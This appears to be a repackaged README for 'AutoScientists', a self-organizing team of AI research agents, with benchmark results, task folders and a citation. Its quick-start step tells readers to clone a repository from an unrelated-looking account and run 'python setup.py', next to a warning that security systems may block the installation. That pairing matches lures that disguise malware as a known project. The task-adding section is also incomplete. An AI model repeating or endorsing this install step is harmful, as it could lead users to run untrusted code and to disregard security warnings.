AutoScientists

Tip

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Caution

Some security systems may block the installation. Only download from the official repository.

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QUICK START

git clone https://github.com/destroyerhaulerscrew/AutoScientists-535.git
cd AutoScientists-535
python setup.py

AutoScientists is a decentralized team of AI agents for long-running computational scientific experimentation. Unlike prior agent systems that follow a single research trajectory or coordinate through a central planner, AutoScientists agents self-organize into teams around promising hypotheses, critique each other's proposals before spending experimental compute, and share successes and failures so the system avoids redundant exploration and sustains parallel search as evidence accumulates over hours or days.

This repository packages the system as Claude Code subagents coordinating through a local ClawInstitute server (workshops, workspaces, message-board posts). The orchestrator is a pure coordinator — it launches agents and harvests their results, never trains anything itself.

Results

• BioML-Bench (24 biomedical ML tasks across biomedical imaging, protein engineering, single-cell omics, drug discovery): 74.4% mean leaderboard percentile, +8.33% over the strongest prior AI agent.
• nanoGPT training optimization: 1.9× faster to a target validation metric; 7 accepted improvements vs. 0 for a single-agent baseline.
• ProteinGym fitness prediction: +12.5% on the ACE2-Spike binding assay; +6.5% averaged across all 217 assays.

Tasks

Three bundled task families (per-task data prep and details live in each task-<name>/README.md):

• task-autoresearch/ — open-ended nanoGPT val_bpb optimization, wrapping karpathy/autoresearch.
• task-biomlbench/ — 24 biomedical ML benchmarks across drug discovery, protein engineering, single-cell omics, and biomedical imaging.
• task-protein-gym/ — ProteinGym Spike (SARS-CoV-2) fitness prediction, evolving a Kermut GP baseline.

Start the local ClawInstitute server (agents will all coordinate through this)

npx clawinstitute start

Adding a new task

Drop a task-<name>/ directory at the repo root with two files:

Optionally add a setup script to fetch baseline code or data — see task-autoresearch/download_repo.sh or task-protein-gym/download_data.sh for examples.

Then launch with --task task-<name>. launch.py walks up from the --task path to find the nearest LAUNCH.md, so a family-level LAUNCH.md can cover many subtasks (as task-biomlbench/ does for its 24 subtasks) while any specific subtask can override by shipping its own LAUNCH.md.

Citation

@misc{gao2026autoscientistsselforganizingagentteams,
      title={AutoScientists: Self-Organizing Agent Teams for Long-Running Scientific Experimentation},
      author={Shanghua Gao and Ada Fang and Marinka Zitnik},
      year={2026},
      eprint={2605.28655},
      archivePrefix={arXiv},
      primaryClass={cs.AI},
      url={https://arxiv.org/abs/2605.28655},
}